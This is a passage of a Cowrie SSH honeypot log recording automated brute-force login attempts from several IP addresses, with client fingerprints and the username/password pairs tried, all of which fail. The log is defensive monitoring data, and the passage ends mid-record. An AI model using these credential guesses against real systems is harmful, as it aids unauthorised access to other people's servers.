{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":41426,"dst_ip":"159.203.135.109","dst_port":22,"session":"97fe32de45f5","protocol":"ssh","message":"New connection: 103.27.238.120:41426 (159.203.135.109:22) [session: 97fe32de45f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:14:21.494215Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:14:21.498488Z","src_ip":"103.27.238.120","session":"97fe32de45f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:14:21.772070Z","src_ip":"103.27.238.120","session":"97fe32de45f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"daddy","message":"login attempt [root/daddy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:14:22.589529Z","src_ip":"103.27.238.120","session":"97fe32de45f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:14:23.864450Z","src_ip":"103.27.238.120","session":"97fe32de45f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.58.215.196","src_port":60750,"dst_ip":"10.17.0.5","dst_port":22,"session":"ab74cedc2220","protocol":"ssh","message":"New connection: 123.58.215.196:60750 (10.17.0.5:22) [session: ab74cedc2220]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:14:24.061819Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:14:24.066990Z","src_ip":"123.58.215.196","session":"ab74cedc2220","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:14:24.296068Z","src_ip":"123.58.215.196","session":"ab74cedc2220","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kent","password":"kent","message":"login attempt [kent/kent] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:14:25.216405Z","src_ip":"123.58.215.196","session":"ab74cedc2220","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:14:26.444385Z","src_ip":"123.58.215.196","session":"ab74cedc2220","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"111.238.174.6","src_port":44230,"dst_ip":"10.17.0.5","dst_port":22,"session":"95540fd536df","protocol":"ssh","message":"New connection: 111.238.174.6:44230 (10.17.0.5:22) [session: 95540fd536df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:14:26.546391Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:14:26.555683Z","src_ip":"111.238.174.6","session":"95540fd536df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:14:26.751308Z","src_ip":"111.238.174.6","session":"95540fd536df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"allen","password":"allen","message":"login attempt [allen/allen] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:14:27.522393Z","src_ip":"111.238.174.6","session":"95540fd536df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.211.95.158","src_port":52492,"dst_ip":"159.203.135.109","dst_port":22,"session":"cf61d6c1d9af","protocol":"ssh","message":"New connection: 91.211.95.158:52492 (159.203.135.109:22) [session: cf61d6c1d9af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:14:27.556006Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:14:27.560516Z","src_ip":"91.211.95.158","session":"cf61d6c1d9af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:14:27.701205Z","src_ip":"91.211.95.158","session":"cf61d6c1d9af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"buh","password":"buh","message":"login attempt [buh/buh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:14:28.296400Z","src_ip":"91.211.95.158","session":"cf61d6c1d9af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:14:28.724105Z","src_ip":"111.238.174.6","session":"95540fd536df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:14:29.441803Z","src_ip":"91.211.95.158","session":"cf61d6c1d9af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":50908,"dst_ip":"159.203.135.109","dst_port":22,"session":"b59073e8a282","protocol":"ssh","message":"New connection: 147.45.199.80:50908 (159.203.135.109:22) [session: b59073e8a282]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:14:30.648795Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:14:30.653080Z","src_ip":"147.45.199.80","session":"b59073e8a282","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:14:30.762269Z","src_ip":"147.45.199.80","session":"b59073e8a282","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"190485","message":"login attempt [root/190485] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:14:31.064299Z","src_ip":"147.45.199.80","session":"b59073e8a282","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:14:32.167889Z","src_ip":"147.45.199.80","session":"b59073e8a282","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":57816,"dst_ip":"159.203.135.109","dst_port":22,"session":"ac2e9dcf48c2","protocol":"ssh","message":"New connection: 89.223.69.22:57816 (159.203.135.109:22) [session: ac2e9dcf48c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:14:45.372236Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:14:45.376675Z","src_ip":"89.223.69.22","session":"ac2e9dcf48c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:14:45.489972Z","src_ip":"89.223.69.22","session":"ac2e9dcf48c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"danil1234","message":"login attempt [root/danil1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:14:45.832207Z","src_ip":"89.223.69.22","session":"ac2e9dcf48c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:14:46.947260Z","src_ip":"89.223.69.22","session":"ac2e9dcf48c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":55548,"dst_ip":"10.17.0.5","dst_port":22,"session":"5420a87f7213","protocol":"ssh","message":"New connection: 103.153.68.219:55548 (10.17.0.5:22) [session: 5420a87f7213]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:15:02.942091Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:15:02.947529Z","src_ip":"103.153.68.219","session":"5420a87f7213","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:15:03.206705Z","src_ip":"103.153.68.219","session":"5420a87f7213","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:15:04.006804Z","src_ip":"103.153.68.219","session":"5420a87f7213","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:15:05.270210Z","src_ip":"103.153.68.219","session":"5420a87f7213","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":32980,"dst_ip":"159.203.135.109","dst_port":22,"session":"5dfcfeac295f","protocol":"ssh","message":"New connection: 2.57.122.238:32980 (159.203.135.109:22) [session: 5dfcfeac295f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:15:11.410183Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:15:11.414139Z","src_ip":"2.57.122.238","session":"5dfcfeac295f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:15:11.517799Z","src_ip":"2.57.122.238","session":"5dfcfeac295f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"polygon","password":"polygon","message":"login attempt [polygon/polygon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:15:11.829980Z","src_ip":"2.57.122.238","session":"5dfcfeac295f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:15:12.934659Z","src_ip":"2.57.122.238","session":"5dfcfeac295f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"4.213.224.194","src_port":59458,"dst_ip":"10.17.0.5","dst_port":22,"session":"2e23d0554172","protocol":"ssh","message":"New connection: 4.213.224.194:59458 (10.17.0.5:22) [session: 2e23d0554172]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:15:20.569380Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:15:20.574080Z","src_ip":"4.213.224.194","session":"2e23d0554172","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"